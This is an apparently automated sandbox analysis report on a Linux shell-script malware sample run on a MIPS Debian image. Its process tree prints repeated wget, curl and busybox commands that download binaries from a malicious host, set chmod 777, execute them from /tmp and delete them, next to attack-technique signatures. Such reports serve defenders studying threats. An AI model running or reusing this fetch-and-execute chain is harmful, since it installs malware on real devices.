Analysis

  • max time kernel
    176s
  • max time network
    56s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    22/11/2024, 03:09

General

  • Target
    d704c4ed7010e16cd595d2bbce62d63538beac09a83b9dce153aa0618c1519c0.sh
  • Size 10KB
  • Sample241122-dnjmnazjaj
  • SHA256 d704c4ed7010e16cd595d2bbce62d63538beac09a83b9dce153aa0618c1519c0
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 11 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/d704c4ed7010e16cd595d2bbce62d63538beac09a83b9dce153aa0618c1519c0.sh
    /tmp/d704c4ed7010e16cd595d2bbce62d63538beac09a83b9dce153aa0618c1519c0.sh
    1⤵
      PID:716
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:723
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/V70oMYssT5Y520A8q1FP98a3pMmvw3kfta
          2⤵
          • System Network Configuration Discovery
          PID:726
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/V70oMYssT5Y520A8q1FP98a3pMmvw3kfta
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:738
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/V70oMYssT5Y520A8q1FP98a3pMmvw3kfta
          2⤵
          • System Network Configuration Discovery
          PID:747
        • /bin/chmod
          chmod 777 V70oMYssT5Y520A8q1FP98a3pMmvw3kfta
          2⤵
          • File and Directory Permissions Modification
          PID:748
        • /tmp/V70oMYssT5Y520A8q1FP98a3pMmvw3kfta
          ./V70oMYssT5Y520A8q1FP98a3pMmvw3kfta
          2⤵
          • Executes dropped EXE
          PID:749
        • /bin/rm
          rm V70oMYssT5Y520A8q1FP98a3pMmvw3kfta
          2⤵
            PID:750
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/eaGvAlEd7b8rvFpt9Nbh651hfOOeMzJ1zO
            2⤵
            • System Network Configuration Discovery
            PID:751
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/eaGvAlEd7b8rvFpt9Nbh651hfOOeMzJ1zO
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:752
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/eaGvAlEd7b8rvFpt9Nbh651hfOOeMzJ1zO
            2⤵
            • System Network Configuration Discovery
            PID:795
          • /bin/chmod
            chmod 777 eaGvAlEd7b8rvFpt9Nbh651hfOOeMzJ1zO
            2⤵
            • File and Directory Permissions Modification
            PID:800
          • /tmp/eaGvAlEd7b8rvFpt9Nbh651hfOOeMzJ1zO
            ./eaGvAlEd7b8rvFpt9Nbh651hfOOeMzJ1zO
            2⤵
            • Executes dropped EXE
            PID:801
          • /bin/rm
            rm eaGvAlEd7b8rvFpt9Nbh651hfOOeMzJ1zO
            2⤵
              PID:802
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/HjCGdagXFRzRzmHWvBCYzgqXZkX357o44H
              2⤵
              • System Network Configuration Discovery
              PID:803
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/HjCGdagXFRzRzmHWvBCYzgqXZkX357o44H
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:806
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/HjCGdagXFRzRzmHWvBCYzgqXZkX357o44H
              2⤵
              • System Network Configuration Discovery
              PID:818
            • /bin/chmod
              chmod 777 HjCGdagXFRzRzmHWvBCYzgqXZkX357o44H
              2⤵
              • File and Directory Permissions Modification
              PID:835
            • /tmp/HjCGdagXFRzRzmHWvBCYzgqXZkX357o44H
              ./HjCGdagXFRzRzmHWvBCYzgqXZkX357o44H
              2⤵
              • Executes dropped EXE
              PID:837
            • /bin/rm
              rm HjCGdagXFRzRzmHWvBCYzgqXZkX357o44H
              2⤵
                PID:839
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/KvXnx0qdKXVUE79L3d3QuQOc94PGTDlMvK
                2⤵
                • System Network Configuration Discovery
                PID:840
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/KvXnx0qdKXVUE79L3d3QuQOc94PGTDlMvK
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                PID:841

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  V70oMYssT5Y520A8q1FP98a3pMmvw3kfta

                  • Path /tmp/V70oMYssT5Y520A8q1FP98a3pMmvw3kfta
                  • Size 153B
                  • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                  • MD5 SHA1 SHA512